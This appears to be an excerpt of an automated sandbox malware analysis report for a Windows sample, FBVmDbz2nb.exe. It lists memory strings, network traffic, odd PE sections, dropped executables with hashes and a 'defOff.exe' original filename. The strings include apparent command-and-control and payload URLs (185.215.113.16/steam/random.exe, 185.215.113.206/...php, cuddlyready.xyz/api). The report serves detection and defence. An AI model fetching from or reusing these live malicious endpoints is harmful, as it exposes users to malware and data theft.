Source: FBVmDbz2nb.exe, 00000000.00000003.1644354224.0000000001600000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16:80/steam/random.exeDateProxy-Connectionkeep-aliveConnectionCache-Control
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.000000000116E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011D4000.00000004.00000020.00020000.00000000.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.000000000118C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011D4000.00000004.00000020.00020000.00000000.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011D4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpZg
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfg
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: FBVmDbz2nb.exe, 00000000.00000003.1555320498.0000000001600000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1514041585.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492388797.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492171889.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015EB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micro
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: FBVmDbz2nb.exe, 00000000.00000003.1488696179.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1465515722.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1442870633.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1531394418.000000000161F000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1443051006.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1442515745.0000000005EA9000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1531394418.0000000001612000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1444281739.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1517761363.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/api
Source: FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/api2
Source: FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/apiZ
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/apig
Source: FBVmDbz2nb.exe, 00000000.00000003.1464773877.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1488696179.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/apioh
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/d
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/l
Source: FBVmDbz2nb.exe, 00000000.00000003.1514041585.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015B5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/o
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1531394418.000000000161F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/pi
Source: FBVmDbz2nb.exe, 00000000.00000003.1415813302.0000000001583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz/qR
Source: FBVmDbz2nb.exe, 00000000.00000003.1555389177.000000000159A000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1644460394.000000000159A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz:443/api
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cuddlyready.xyz:443/apii
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49729 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.32.96:443 -> 192.168.2.9:49771 version: TLS 1.2

System Summary
barindex
PE file contains section with special chars
Source: FBVmDbz2nb.exe Static PE information: section name:
Source: FBVmDbz2nb.exe Static PE information: section name: .idata
Source: FBVmDbz2nb.exe Static PE information: section name:
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr Static PE information: section name:
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr Static PE information: section name: .idata
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr Static PE information: section name:
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr Static PE information: section name: .idata
Detected potential crypto function
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015D2134 0_3_015D2134
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_01587835 0_3_01587835
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_002BDCB7 3_2_002BDCB7
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_002BE729 3_2_002BE729
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe 2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D
Sample file is different than original file name gathered from version info
Source: FBVmDbz2nb.exe, 00000000.00000003.1610412679.000000000647E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609667454.00000000063C4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605046296.000000000637B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1622536614.00000000062D9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620797571.00000000062DE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1630745094.0000000006584000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1623229875.00000000062D7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616926429.00000000063EF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616574065.00000000064E8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602870273.00000000062E2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1610881417.00000000063C1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1621126777.0000000006545000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608830864.000000000639A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620426936.00000000062DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1612766430.00000000063D2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607232582.0000000006441000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1643815636.0000000005E84000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602330579.0000000005F56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1617875570.0000000006511000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602172114.00000000060AC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605524410.0000000006432000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1617142369.0000000006505000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619524716.00000000062DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1629126314.000000000642D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605230641.00000000062DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620609539.000000000640D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1622124995.0000000006421000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607374964.00000000062DF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1618145224.00000000062D8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1611511970.00000000062DB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604233194.0000000006370000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602639157.0000000006142000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609359909.0000000006480000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1644145767.0000000005EC7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601933387.0000000005F56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1623597401.0000000006420000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613140741.00000000063C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608230006.00000000062D7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619696696.00000000063FD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616756552.00000000062D6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613300851.00000000062DC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1612441146.00000000062E4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602330579.0000000005FCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607909341.0000000006475000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620253096.000000000651D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613658630.00000000064C5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604124224.00000000062D6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604726101.000000000637E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1624062806.000000000656C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
